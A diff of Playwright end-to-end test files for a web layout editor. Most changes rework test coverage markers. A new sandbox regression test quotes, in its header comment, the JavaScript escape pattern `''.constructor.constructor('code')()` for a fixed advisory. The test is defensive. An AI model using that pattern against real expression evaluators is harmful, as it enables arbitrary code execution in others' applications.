test.describe('@layout-editor responsive 디바이스 목록 + 분리 판정', () => {
/** @effects device_toggle_has_portable */
test('디바이스 토글에 portable(모바일+태블릿) 버튼이 노출된다 ', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -94,6 +95,7 @@ test.describe('@layout-editor responsive 디바이스 목록 + 분리 판정', (
}
});
/** @effects style_tab_has_portable */
test('스타일 탭 디바이스 세부탭에 portable 세부탭이 노출된다 ', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -126,6 +128,7 @@ test.describe('@layout-editor responsive 디바이스 목록 + 분리 판정', (
await expect(page.locator('[data-testid="g7le-style-bp-portable"]')).toBeAttached();
});
/** @effects separation_mode_by_children */
test('분리 판정은 children 유무 기준 — props-only=생성 / children=해제 ', async ({
page,
}) => {
@@ -9,8 +9,8 @@
* 확장 편집 모드에서 목록이 줄어들던 결함, (2) 확장/모달 편집 모드에서 라우트를 클릭하면
* "이 레이아웃에는 표시할 컴포넌트가 없습니다" 가 뜨던 결함을 가드한다.
*
* @scenario ext_type + host_match + conn_count + conn_group_state + enter_mode_from_child + select_route_from_mode + host_highlight
* @effects connected_extensions_attached_statically_by_host_layouts_without_canvas_load + connected_group_collapsed_by_default + connected_group_toggles_on_header_click + connected_count_stable_when_entering_extension_edit_mode + extension_child_click_enters_extension_edit_keeping_host_route_highlight + select_route_from_separate_edit_mode_restores_route_mode_and_renders_canvas
* 축 요약(마커 아님 — 평문): ext_type, host_match, conn_count, conn_group_state, enter_mode_from_child, select_route_from_mode, host_highlight.
* 효과 요약(마커 아님 — 평문): connected_extensions_attached_statically_by_host_layouts_without_canvas_load, connected_group_collapsed_by_default, connected_group_toggles_on_header_click, connected_count_stable_when_entering_extension_edit_mode, extension_child_click_enters_extension_edit_keeping_host_route_highlight, select_route_from_separate_edit_mode_restores_route_mode_and_renders_canvas.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
import type { Page } from '@playwright/test';
@@ -46,6 +46,7 @@ async function readConnCount(page: Page): Promise<number> {
}
test.describe('@layout-editor route↔connected extensions', () => {
/** @effects connected_extensions_attached_statically_by_host_layouts_without_canvas_load, connected_group_collapsed_by_default */
test('클릭 없이 host_layouts 정적 매칭으로 연결 확장이 표시 + 기본 접힘', async ({ page }) => {
await enterEditor(page);
@@ -60,6 +61,7 @@ test.describe('@layout-editor route↔connected extensions', () => {
await expect(header).toHaveAttribute('aria-expanded', 'false');
});
/** @effects connected_group_toggles_on_header_click */
test('연결 그룹 헤더 클릭 → 펼침 → 자식 표시', async ({ page }) => {
await enterEditor(page);
const header = connGroupHeader(page);
@@ -79,6 +81,7 @@ test.describe('@layout-editor route↔connected extensions', () => {
expect(expandedCount).toBeGreaterThan(0);
});
/** @effects connected_count_stable_when_entering_extension_edit_mode, extension_child_click_enters_extension_edit_keeping_host_route_highlight */
test('확장 편집 모드 진입 후에도 연결 목록 count 유지 + 호스트 라우트 강조', async ({ page }) => {
await enterEditor(page);
const header = connGroupHeader(page);
@@ -110,6 +113,7 @@ test.describe('@layout-editor route↔connected extensions', () => {
expect(hostHighlighted).toBe(true);
});
/** @effects select_route_from_separate_edit_mode_restores_route_mode_and_renders_canvas */
test('확장 편집 모드에서 라우트 클릭 → 캔버스 정상 렌더(빈 화면 회귀 가드)', async ({ page }) => {
await enterEditor(page);
const header = connGroupHeader(page);
@@ -10,8 +10,8 @@
* - 항목7: 선택 노드(Button 포함)에 리사이즈 핸들 표시 + 드래그로 px 변화
* - 항목8: 툴바 ↺ 초기화 버튼(dirty 시 활성)
*
* @scenario property_modal_draggable + dimension_widget + image_manager_toolbar + session_cache_restore + dirty_badge + beforeunload_guard + resize_handle + reset_button
* @effects modal_draggable + dimension_free_input + image_modal_open + edit_preserved_on_route_switch + tree_dirty_dot + unload_warning + resize_px_change + reset_reverts
* 축 요약(마커 아님 — 평문): property_modal_draggable, dimension_widget, image_manager_toolbar, session_cache_restore, dirty_badge, beforeunload_guard, resize_handle, reset_button.
* 효과 요약(마커 아님 — 평문): modal_draggable, dimension_free_input, image_modal_open, edit_preserved_on_route_switch, tree_dirty_dot, unload_warning, resize_px_change, reset_reverts.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
@@ -83,6 +83,7 @@ async function openPropertyModal(page: import('@playwright/test').Page): Promise
}
test.describe('@layout-editor S6-2 후속', () => {
/** @effects modal_draggable */
test('항목1 — 속성 편집 모달이 draggable + 백드롭 pointerEvents:none', async ({ page }) => {
await gotoEditor(page);
await openPropertyModal(page);
@@ -99,6 +100,7 @@ test.describe('@layout-editor S6-2 후속', () => {
expect(pe).toBe('none');
});
/** @effects dimension_free_input */
test('항목2 — 스타일 탭 width 컨트롤이 dimension 위젯(자유 입력)으로 렌더', async ({ page }) => {
await gotoEditor(page);
await openPropertyModal(page);
@@ -124,6 +126,7 @@ test.describe('@layout-editor S6-2 후속', () => {
}
});
/** @effects image_modal_open */
test('항목3 — 툴바 🖼 이미지 버튼 → 이미지 관리 모달', async ({ page }) => {
await gotoEditor(page);
const imagesBtn = page.getByTestId('g7le-toolbar-images');
@@ -134,6 +137,7 @@ test.describe('@layout-editor S6-2 후속', () => {
// 툴바 진입은 onSelect 미전달 → "배경으로 사용" 버튼 없음(빈 목록이면 empty 안내)
});
/** @effects reset_reverts, tree_dirty_dot */
test('항목8 — ↺ 초기화 버튼은 dirty 일 때만 활성', async ({ page }) => {
await gotoEditor(page);
const resetBtn = page.getByTestId('g7le-toolbar-reset');
@@ -142,6 +146,7 @@ test.describe('@layout-editor S6-2 후속', () => {
await expect(resetBtn).toBeDisabled();
});
/** @effects resize_px_change */
test('항목7 — 선택 노드에 리사이즈 핸들 표시', async ({ page }) => {
await gotoEditor(page);
// 선택 오버레이 등장 후, width/height 컨트롤 보유 노드면 리사이즈 핸들이 보인다.
@@ -10,13 +10,14 @@
* 채워져 가격(`원`) 텍스트가 나타나는지(= sampleData 가 실제 캔버스 바인딩을 채움) 검증한다.
* Vitest 는 JSON+격리 렌더, 본 spec 은 실제 편집기 chrome + 캔버스 통합 렌더.
*
* @scenario route_select:data_dependent + sample_provider_source:bundled_editor_spec
* @effects canvas_data_dependent_screen_filled_with_sample_data
* @effects preview_canvas_uses_merged_editor_spec_sampledata
* 축 요약(마커 아님 — 평문): route_select:data_dependent, sample_provider_source:bundled_editor_spec.
* 효과 요약(마커 아님 — 평문): canvas_data_dependent_screen_filled_with_sample_data.
* 효과 요약(마커 아님 — 평문): preview_canvas_uses_merged_editor_spec_sampledata.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
test.describe('@layout-editor 캔버스 샘플 데이터 렌더', () => {
/** @effects canvas_data_dependent_screen_filled_with_sample_data, preview_canvas_uses_merged_editor_spec_sampledata */
test('sirsoft-basic — 상품 상세 라우트 선택 시 캔버스가 product 샘플로 채워진다', async ({ page }) => {
const tokenAuth = issueToken('core.templates.layouts.edit');
await authenticatePage(page, tokenAuth);
@@ -17,9 +17,9 @@
* Vitest 는 JSON+격리 렌더로 시뮬레이터 경로를 잠그고, 본 spec 은 실제 편집기 chrome +
* 캔버스 통합 렌더에서 게이트 본체가 실제로 보이는지(브라우저 가시 결과)를 측정한다.
*
* @scenario gate_body_kind:computed_if_gate + gate_body_kind:lazy_datasource_subtab
* @effects shipping_policy_edit_country_setting_panel_renders_via_computed_gate
* @effects mypage_board_my_comments_subtab_renders_via_lazy_datasource_sample_injection
* 축 요약(마커 아님 — 평문): gate_body_kind:computed_if_gate, gate_body_kind:lazy_datasource_subtab.
* 효과 요약(마커 아님 — 평문): shipping_policy_edit_country_setting_panel_renders_via_computed_gate.
* 효과 요약(마커 아님 — 평문): mypage_board_my_comments_subtab_renders_via_lazy_datasource_sample_injection.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
@@ -27,6 +27,7 @@ test.describe('@layout-editor 게이트 본체 캔버스 노출', () => {
// (1) _computed 게이트 — 배송정책 수정 폼의 국가별 설정 본체는 `if: {{_computed.activeCountrySetting}}`
// 게이트 뒤에 있다. PreviewCanvas 가 computed 블록을 미주입하면 _computed.* 가 항상 undefined →
// 국가별 설정 패널이 통째로 비어 렌더된다. 부과정책 상태로 게이트를 열어 본체 렌더를 측정.
/** @effects shipping_policy_edit_country_setting_panel_renders_via_computed_gate */
test('배송정책 수정 → _computed 게이트 국가별 설정 본체가 캔버스에 렌더된다', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -62,6 +63,7 @@ test.describe('@layout-editor 게이트 본체 캔버스 노출', () => {
// (2) 지연 데이터소스 게이트 — 마이페이지 게시판 활동의 "내 댓글" 서브탭 본체는 지연 소스
// myComments(auto_fetch:false) 에 바인딩된다. 샘플 모드 지연 소스 주입이 없으면 서브탭 게이트를
// 페이지 상태로 열어도 데이터가 비어 본체가 미렌더된다. my_comments 상태 전환 후 본체 렌더 측정.
/** @effects mypage_board_my_comments_subtab_renders_via_lazy_datasource_sample_injection */
test('마이페이지 게시판 → my_comments 서브탭 지연 소스 본체가 캔버스에 렌더된다', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -15,7 +15,7 @@
* EditorCanvasOverlay)로 커버한다.
*
* @scenario lock_kind selected_node_state=extension_originated
* @effects extension_node_context_menu_blocked + extension_node_blackbox_selection_normalized + editor_canvas_single_window_scroll + fullscreen_layout_expanded_in_editor
* 효과 요약(마커 아님 — 평문): extension_node_context_menu_blocked, extension_node_blackbox_selection_normalized, editor_canvas_single_window_scroll, fullscreen_layout_expanded_in_editor.
*/
import type { Page } from '@playwright/test';
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
@@ -49,6 +49,7 @@ async function openAdminUserForm(page: Page): Promise<void> {
}
test.describe('@layout-editor 스크롤 + 확장 잠금 후속', () => {
/** @effects extension_node_context_menu_blocked, extension_node_blackbox_selection_normalized */
test('확장 주입 조각 내부 자식 클릭 → 진입점 통짜 선택 + ⓘ 메뉴 차단 + 확장 편집 어포던스', async ({ page }) => {
await openAdminUserForm(page);
@@ -92,6 +93,7 @@ test.describe('@layout-editor 스크롤 + 확장 잠금 후속', () => {
expect(result.editExtension).toBe(true);
});
/** @effects editor_canvas_single_window_scroll */
test('일반(min-h-screen) 페이지 — 캔버스 별도 스크롤 없음 + 브라우저 단일 스크롤 + 헤더/트리 고정', async ({ page }) => {
await openBasicEditor(page);
@@ -125,6 +127,7 @@ test.describe('@layout-editor 스크롤 + 확장 잠금 후속', () => {
expect(metrics.treeStaysFixed).toBe(true);
});
/** @effects fullscreen_layout_expanded_in_editor */
test('admin 풀스크린(h-screen) 레이아웃 — 편집 캔버스에서 콘텐츠 자연 높이로 펼침(내부 스크롤 없음)', async ({ page }) => {
await openAdminUserForm(page);
@@ -4,8 +4,8 @@
* Phase 1 에서 액션 골격만 도입됐던 4개 별도 편집 모드의 캔버스 단독 렌더 + 진입/이탈 +
* URL 동기화를 브라우저에서 검증한다(단위 테스트가 못 잡는 render-cycle + URL pushState).
*
* @scenario edit_mode + url_sync + followup_action
* @effects route_tree_renders_base_modal_extension_groups + base_edit_loads_and_renders_base_layout_standalone + modal_edit_renders_modal_open_standalone_no_dim + extension_edit_loads_via_layout_extensions_api + enter_edit_mode_pushes_edit_query_to_url + refresh_with_edit_query_restores_edit_mode + back_button_exits_edit_mode_to_route
* 축 요약(마커 아님 — 평문): edit_mode, url_sync, followup_action.
* 효과 요약(마커 아님 — 평문): route_tree_renders_base_modal_extension_groups, base_edit_loads_and_renders_base_layout_standalone, modal_edit_renders_modal_open_standalone_no_dim, extension_edit_loads_via_layout_extensions_api, enter_edit_mode_pushes_edit_query_to_url, refresh_with_edit_query_restores_edit_mode, back_button_exits_edit_mode_to_route.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
@@ -58,6 +58,7 @@ async function editorNodeCount(page: import('@playwright/test').Page): Promise<n
}
test.describe('@layout-editor 별도 편집 모드', () => {
/** @effects base_edit_loads_and_renders_base_layout_standalone, enter_edit_mode_pushes_edit_query_to_url, route_tree_renders_base_modal_extension_groups */
test('base 진입 → URL ?edit= pushState + base 캔버스 단독 렌더', async ({ page }) => {
await enterEditor(page);
@@ -71,6 +72,7 @@ test.describe('@layout-editor 별도 편집 모드', () => {
await expect.poll(() => editorNodeCount(page)).toBeGreaterThan(0);
});
/** @effects back_button_exits_edit_mode_to_route */
test('base 진입 후 뒤로가기 → 편집 모드 종료(URL ?edit= 제거)', async ({ page }) => {
await enterEditor(page);
await clickTreeItem(page, /_admin_base/);
@@ -82,6 +84,7 @@ test.describe('@layout-editor 별도 편집 모드', () => {
await expect(page.locator('[data-mode="base"]')).toHaveCount(0);
});
/** @effects extension_edit_loads_via_layout_extensions_api */
test('확장 주입 그룹 항목 진입 → 확장 조각 캔버스 렌더 + URL ?edit=__extension__', async ({ page }) => {
await enterEditor(page);
@@ -93,6 +96,7 @@ test.describe('@layout-editor 별도 편집 모드', () => {
await expect.poll(() => editorNodeCount(page)).toBeGreaterThan(0);
});
/** @effects refresh_with_edit_query_restores_edit_mode */
test('?edit=__extension__ URL 직접 진입(새로고침) → 확장 편집 모드 복원', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -107,6 +111,7 @@ test.describe('@layout-editor 별도 편집 모드', () => {
await expect.poll(() => editorNodeCount(page)).toBeGreaterThan(0);
});
/** @effects modal_edit_renders_modal_open_standalone_no_dim */
test('모달 그룹 항목 진입 → 모달 단독 open 렌더', async ({ page }) => {
await enterEditor(page);
@@ -15,9 +15,10 @@
* 열어 상태 토글이 화면에 나타나는지를 확인한다 — 스펙과 라우트 평가가 실제로 만나는
* 지점은 브라우저에만 있다.
*
* @scenario route_setting × surface
* @effects editor_state_switcher_visible_on_default_shop_route
* + editor_state_switcher_visible_after_route_path_change
* 축 요약(마커 아님 — 평문): route_setting, surface. 요약을 시나리오 축 마커로 적으면 파서가
* `=` 없는 토큰을 버려 빈 조합 `{}` 이 된다.
*
* 효과 요약(마커 아님 — 평문): editor_state_switcher_visible_on_default_shop_route, editor_state_switcher_visible_after_route_path_change.
*
* 활성화 절차: PLAYWRIGHT_BASE_URL 과 PlaywrightIssueToken 발급이 가능한 환경에서
* `test.describe.skip` → `test.describe` 로 바꾼다. 상점 주소를 바꾸는 축은 이커머스
@@ -29,6 +30,7 @@ import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth'
const PRODUCTS_ROUTE = '/shop/products';
test.describe.skip('레이아웃 편집기 — 상점 화면 상태 전환 노출', () => {
/** @effects editor_state_switcher_visible_on_default_shop_route */
test('기본 상점 주소에서 상태 전환 토글이 보인다', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -44,6 +46,7 @@ test.describe.skip('레이아웃 편집기 — 상점 화면 상태 전환 노
await expect(switcher).toBeVisible({ timeout: 20_000 });
});
/** @effects editor_state_switcher_visible_after_route_path_change */
test('상점 주소를 바꾼 사이트에서도 상태 전환 토글이 보인다', async ({ page }) => {
// 이 케이스는 basic_info.route_path 가 기본값이 아닌 환경에서만 의미가 있다.
// 검수 환경의 실제 설정값을 읽어 라우트를 만든다 — 기본값이면 위 케이스와 같아진다.
@@ -14,8 +14,8 @@
* 을 검증한다. 행/열/병합/해제/테두리/셀텍스트 round-trip 은 단위(tableGridModel.test.ts /
* TableEditor.test.tsx)가 잠그고, 본 E2E 는 구조 편집의 라이브 반영·저장을 브라우저로 확인한다.
*
* @scenario table_node_editor + add_row_col + merge + live_persist
* @effects property_modal_dispatches_table_node_editor_in_props_tab_by_kind, add_row_inserts_blank_row_keeps_col_count, add_column_inserts_blank_col, shift_select_range_then_merge_sets_origin_span_removes_absorbed, live_add_row_col_merge_save_persists_to_user_page, editor_save_specs_target_sandbox_layout_not_product_layout
* 축 요약(마커 아님 — 평문): table_node_editor, add_row_col, merge, live_persist.
* 효과 요약(마커 아님 — 평문): property_modal_dispatches_table_node_editor_in_props_tab_by_kind, add_row_inserts_blank_row_keeps_col_count, add_column_inserts_blank_col, shift_select_range_then_merge_sets_origin_span_removes_absorbed, live_add_row_col_merge_save_persists_to_user_page, editor_save_specs_target_sandbox_layout_not_product_layout.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
import type { Page } from '@playwright/test';
@@ -138,6 +138,7 @@ async function addTable(page: Page, sandbox = false): Promise<string> {
}
test.describe('@layout-editor table 노드 에디터(빌트인 STRUCT-TREE)', () => {
/** @effects property_modal_dispatches_table_node_editor_in_props_tab_by_kind, add_row_inserts_blank_row_keeps_col_count, add_column_inserts_blank_col */
test('Table 선택 시 table 에디터가 속성 탭에 마운트되고 행/열 추가가 grid 반영', async ({ page }) => {
await gotoEditor(page);
const tablePath = await addTable(page);
@@ -165,6 +166,7 @@ test.describe('@layout-editor table 노드 에디터(빌트인 STRUCT-TREE)', ()
expect(colsAfter).toBe(colsBefore + 1);
});
/** @effects shift_select_range_then_merge_sets_origin_span_removes_absorbed */
test('셀 선택 + Shift 영역 선택 → 병합 버튼 활성 → 병합 반영', async ({ page }) => {
await gotoEditor(page);
const tablePath = await addTable(page);
@@ -187,6 +189,7 @@ test.describe('@layout-editor table 노드 에디터(빌트인 STRUCT-TREE)', ()
// 저장(PUT)하는 테스트는 편집 결과가 그대로 영속되므로 제품 화면(home)이 아니라 E2E 전용
// 시드 화면(e2e_sandbox)을 대상으로 한다. 제품 화면에 저장하면 실행마다 빈 표가 누적된다
// (실측: 7개, 20,321 → 33,696 bytes). 시드 화면은 globalSetup 이 매 실행 원본으로 덮어쓴다.
/** @effects live_add_row_col_merge_save_persists_to_user_page, editor_save_specs_target_sandbox_layout_not_product_layout */
test('table 편집 후 저장 → PUT 200', async ({ page }) => {
await gotoEditor(page, sandboxRouteParam());
const tablePath = await addTable(page, true);
@@ -15,8 +15,8 @@
* 을 검증한다. 변형 정합(span 보정/흡수셀/밴드 이동)은 단위(TableInplaceOverlay.test.tsx /
* tableGridModel.test.ts)가 잠그고, 본 E2E 는 인플레이스 라이브 반영·저장을 브라우저로 확인.
*
* @scenario table_canvas_inplace_overlay + inplace_add_row_col + inplace_merge + live_persist
* @effects editorcanvasoverlay_dispatches_canvasoverlay_by_kind_with_measured_cellboxes, table_inplace_overlay_registered_via_registercoreeditors_kind_agnostic, inplace_gutter_add_row_col_shares_tablegridmutations_with_property_panel, inplace_shift_select_merge_sets_origin_span_removes_absorbed, live_inplace_cell_edit_save_persists_to_user_page, editor_save_specs_target_sandbox_layout_not_product_layout
* 축 요약(마커 아님 — 평문): table_canvas_inplace_overlay, inplace_add_row_col, inplace_merge, live_persist.
* 효과 요약(마커 아님 — 평문): editorcanvasoverlay_dispatches_canvasoverlay_by_kind_with_measured_cellboxes, table_inplace_overlay_registered_via_registercoreeditors_kind_agnostic, inplace_gutter_add_row_col_shares_tablegridmutations_with_property_panel, inplace_shift_select_merge_sets_origin_span_removes_absorbed, live_inplace_cell_edit_save_persists_to_user_page, editor_save_specs_target_sandbox_layout_not_product_layout.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
import type { Page } from '@playwright/test';
@@ -135,6 +135,7 @@ async function selectFirstCell(page: Page): Promise<boolean> {
}
test.describe('@layout-editor table 캔버스 인플레이스 오버레이(빌트인)', () => {
/** @effects editorcanvasoverlay_dispatches_canvasoverlay_by_kind_with_measured_cellboxes, table_inplace_overlay_registered_via_registercoreeditors_kind_agnostic */
test('표 선택 시 오버레이 마운트(모서리 추가) + 셀 선택 시 거터/도구 노출', async ({ page }) => {
await gotoEditor(page);
const tablePath = await addTable(page);
@@ -179,6 +180,7 @@ test.describe('@layout-editor table 캔버스 인플레이스 오버레이(빌
expect(handleGotPointerDown).toBe(true);
});
/** @effects inplace_gutter_add_row_col_shares_tablegridmutations_with_property_panel */
test('선택 셀 행/열 추가 거터 → 캔버스 행/열 증가', async ({ page }) => {
await gotoEditor(page);
const tablePath = await addTable(page);
@@ -192,6 +194,7 @@ test.describe('@layout-editor table 캔버스 인플레이스 오버레이(빌
expect(await page.locator(`[data-editor-name="Tr"]`).count()).toBeGreaterThan(rowsBefore);
});
/** @effects inplace_shift_select_merge_sets_origin_span_removes_absorbed */
test('선택 셀 오른쪽 병합 → colspan 반영', async ({ page }) => {
await gotoEditor(page);
const tablePath = await addTable(page);
@@ -218,6 +221,7 @@ test.describe('@layout-editor table 캔버스 인플레이스 오버레이(빌
// 오염 시점과 정확히 같은 크기로 되돌아왔다(편집기가 들고 있던 문서를 통째로 다시 저장).
// 그래서 원복에 기대지 않고 저장 대상 자체를 시드 화면으로 분리했다. 시드 화면은 globalSetup 이
// 매 실행 fixture 원본으로 덮어쓰므로 회차 간 누적이 성립하지 않는다.
/** @effects live_inplace_cell_edit_save_persists_to_user_page, editor_save_specs_target_sandbox_layout_not_product_layout */
test('인플레이스 편집 후 저장 → PUT 200', async ({ page }) => {
await gotoEditor(page, sandboxRouteParam());
const tablePath = await addTable(page, true);
@@ -8,8 +8,8 @@
* 실제 마운트되어 탭 헤더에 +추가/✕삭제/◀▶이동 어포던스를 노출함을 브라우저로 실증한다
* (확장점이 문서상 확장점이 아니라 실동작 경로임을 증명).
*
* @scenario template_registered_canvas_overlay + tabnav_inplace_affordances + add_remove_persist
* @effects template_registerCanvasOverlay_mounts_in_live_editor, tabnav_header_shows_add_remove_move_affordances, inplace_add_patches_node_props_tabs_same_ssot_as_property_panel
* 축 요약(마커 아님 — 평문): template_registered_canvas_overlay, tabnav_inplace_affordances, add_remove_persist.
* 효과 요약(마커 아님 — 평문): template_registerCanvasOverlay_mounts_in_live_editor, tabnav_header_shows_add_remove_move_affordances, inplace_add_patches_node_props_tabs_same_ssot_as_property_panel.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
import type { Page } from '@playwright/test';
@@ -76,6 +76,7 @@ async function selectByPath(page: Page, path: string): Promise<void> {
}
test.describe('@layout-editor TabNavigation 인플레이스(템플릿 registerCanvasOverlay 레퍼런스)', () => {
/** @effects template_registerCanvasOverlay_mounts_in_live_editor, tabnav_header_shows_add_remove_move_affordances, inplace_add_patches_node_props_tabs_same_ssot_as_property_panel */
test('admin 편집기에서 TabNavigation 선택 시 템플릿 등록 인플레이스 어포던스가 마운트된다', async ({ page }) => {
await gotoAdminEditor(page);
const navPath = await addTabNavigation(page);
@@ -14,8 +14,8 @@
* "버전 기록"이 활성화되어 확장 전용 버전 API 의 목록 모달이 열린다. 저장/복원 동기화는
* 단위(useExtensionDocument/리듀서/VersionHistoryModal) + 백엔드 Feature 테스트가 커버.
*
* @scenario edit_mode + layout_history + scroll_lock_source
* @effects editor_routes_response_includes_layout_versions_map + tree_version_badge_matches_versions_map + no_badge_for_layouts_without_history + modal_edit_keeps_canvas_scrollbar + extension_badge_matches_current_version + extension_mode_version_history_modal_opens
* 축 요약(마커 아님 — 평문): edit_mode, layout_history, scroll_lock_source.
* 효과 요약(마커 아님 — 평문): editor_routes_response_includes_layout_versions_map, tree_version_badge_matches_versions_map, no_badge_for_layouts_without_history, modal_edit_keeps_canvas_scrollbar, extension_badge_matches_current_version, extension_mode_version_history_modal_opens.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
@@ -33,6 +33,7 @@ async function enterEditor(page: import('@playwright/test').Page, url: string):
}
test.describe('@layout-editor 트리 버전 배지 + 모달 편집 스크롤 유지', () => {
/** @effects editor_routes_response_includes_layout_versions_map, tree_version_badge_matches_versions_map, no_badge_for_layouts_without_history */
test('라우트 트리 버전 배지가 routes 응답 layout_versions 맵과 1:1 정합', async ({ page }) => {
await enterEditor(page, EDITOR_URL);
await page.waitForSelector('[data-testid="g7le-route-tree-item"]', { timeout: 30_000 });
@@ -77,6 +78,7 @@ test.describe('@layout-editor 트리 버전 배지 + 모달 편집 스크롤 유
}
});
/** @effects modal_edit_keeps_canvas_scrollbar */
test('모달 편집 모드에서 body 스크롤 락이 무력화되어 캔버스 스크롤바 유지', async ({ page }) => {
await enterEditor(page, MODAL_DIRECT_URL);
await expect(page.locator('[data-mode="modal"]')).toBeAttached({ timeout: 30_000 });
@@ -101,6 +103,7 @@ test.describe('@layout-editor 트리 버전 배지 + 모달 편집 스크롤 유
expect(state.inline).not.toBe('hidden');
});
/** @effects extension_badge_matches_current_version, extension_mode_version_history_modal_opens */
test('확장 노드 버전 배지가 layout-extensions 응답 current_version 과 정합 + 확장 편집 모드 버전 기록 모달', async ({ page }) => {
await enterEditor(page, EDITOR_URL);
await page.waitForSelector('[data-testid="g7le-route-tree-item"]', { timeout: 30_000 });
@@ -10,8 +10,8 @@
* 버전 목록·복원의 응답 정합/권한 가드는 LayoutControllerTest.php 가 커버 — 본 spec 은
* 위지윅 chrome 의 버튼 활성/모달 노출/새 창 열림 책임만.
*
* @scenario toolbar_button + edit_mode + layout_name_present + versions_state + preview_result
* @effects preview_button_enabled_when_layout_selected + preview_creates_temp_record_and_opens_window_with_token + version_button_disabled_when_no_layout_name + version_modal_lists_saved_versions_with_change_summary + version_modal_empty_state_when_no_versions
* 축 요약(마커 아님 — 평문): toolbar_button, edit_mode, layout_name_present, versions_state, preview_result.
* 효과 요약(마커 아님 — 평문): preview_button_enabled_when_layout_selected, preview_creates_temp_record_and_opens_window_with_token, version_button_disabled_when_no_layout_name, version_modal_lists_saved_versions_with_change_summary, version_modal_empty_state_when_no_versions.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
@@ -30,6 +30,7 @@ async function enterEditor(
}
test.describe('@layout-editor version history + preview', () => {
/** @effects version_modal_lists_saved_versions_with_change_summary, version_modal_empty_state_when_no_versions */
test('🕘 버전 기록 버튼 클릭 시 모달 열림 + 목록 또는 빈 상태 노출', async ({ page }) => {
await enterEditor(page, EDITOR_URL_HOME);
await page.waitForSelector('[data-testid="g7le-preview-frame"]', { timeout: 30_000 });
@@ -57,6 +58,7 @@ test.describe('@layout-editor version history + preview', () => {
await expect(page.getByTestId('g7le-version-history')).toHaveCount(0);
});
/** @effects preview_button_enabled_when_layout_selected, preview_creates_temp_record_and_opens_window_with_token */
test('👁 미리보기 버튼 클릭 시 /preview/{token} 새 창 열림', async ({ page, context }) => {
await enterEditor(page, EDITOR_URL_HOME);
await page.waitForSelector('[data-testid="g7le-preview-frame"]', { timeout: 30_000 });
@@ -77,6 +79,7 @@ test.describe('@layout-editor version history + preview', () => {
await popup.close();
});
/** @effects version_button_disabled_when_no_layout_name */
test('라우트 미선택 시 버전/미리보기 버튼 비활성', async ({ page }) => {
await enterEditor(page, EDITOR_URL_NO_ROUTE);
// 라우트 미선택 상태(layoutName 없음) — 두 버튼 모두 disabled
@@ -0,0 +1,158 @@
/**
* E2E: 레이아웃 표현식 평가 샌드박스 (배포 번들 기준, KVE-2026-1915)
*
* 배경: 표현식 평가가 `new Function`/`with(ctx)` 로 실행되어
* `''.constructor.constructor('code')()` 형태의 샌드박스 탈출이 가능했다.
* engine-v1.59.0 에서 화이트리스트 AST 평가기(SafeExpressionEvaluator)로 교체했다.
*
* 단위 테스트(SafeExpressionEvaluator.test.ts)가 소스 레벨을 잠그지만, 실제 사용자가
* 실행하는 것은 빌드된 번들이므로 브라우저에서 배포 번들의 공개 API(`G7Core.evaluateCondition`)를
* 그대로 호출해 (a) 정상 표현식 회귀 없음 + (b) 익스플로잇 미실행 양면을 잠근다.
*
* 시나리오 축(case)·효과는 매니페스트 tests/scenarios/layout-expression-sandbox.yaml 참조.
* 각 test 의 `// @scenario case=…` 라인 마커가 축 조합을, `// @effects …` 가 효과를 커버한다.
*
* 효과 목록을 이 파일 레벨에 몰아 적지 않는다 — 커버리지 룰은 마커 레벨을 구분하지 않으므로,
* 파일 레벨 목록이 있으면 해당 test 를 지워도 효과가 "언급됨" 으로 집계돼 삭제가 무증상 green
* 이 된다. 마커는 test 에만 둔다.
*/
import { test, expect } from '../fixtures/auth';
test.describe('레이아웃 표현식 평가 샌드박스', () => {
test.beforeEach(async ({ page }) => {
// 코어 번들이 부팅된 화면이면 충분하다(로그인 화면도 엔진을 부팅한다).
await page.goto('/admin/login');
await page.waitForFunction(
() => typeof (window as any).G7Core?.evaluateCondition === 'function',
null,
{ timeout: 30_000 },
);
});
// @scenario case=safe_expression
// @effects same_expression_same_value_across_paths
test('정상 표현식(삼항·옵셔널체이닝·nullish)이 배포 번들에서 정상 평가된다', async ({ page }) => {
const result = await page.evaluate(() => {
const g7 = (window as any).G7Core;
const ctx = { user: { name: '홍길동' }, count: 2 };
return {
ternary: g7.evaluateCondition('{{user?.name ? true : false}}', ctx),
nullish: g7.evaluateCondition('{{(user?.missing ?? "fallback") === "fallback"}}', ctx),
compare: g7.evaluateCondition('{{count > 1}}', ctx),
};
});
expect(result.ternary).toBe(true);
expect(result.nullish).toBe(true);
expect(result.compare).toBe(true);
});
// @scenario case=arrow_template_literal
// @effects same_expression_same_value_across_paths
test('화살표 함수·스프레드·템플릿 리터럴·new Date 가 배포 번들에서 동작한다', async ({ page }) => {
const result = await page.evaluate(() => {
const g7 = (window as any).G7Core;
const ctx = { items: [{ v: 'a' }, { v: 'b' }, { v: 'a' }], $args: ['x'] };
return {
// 화살표 함수 + includes
arrow: g7.evaluateCondition("{{(items ?? []).filter(i => i.v === 'a').length === 2}}", ctx),
// 스프레드 + Set + Array.from(new Set(...))
spreadSet: g7.evaluateCondition("{{Array.from(new Set((items ?? []).map(i => i.v))).length === 2}}", ctx),
// 템플릿 리터럴 (내비게이션 경로 조립 형태)
template: g7.evaluateCondition('{{`/mypage/${$args[0]}` === "/mypage/x"}}', ctx),
// new Date
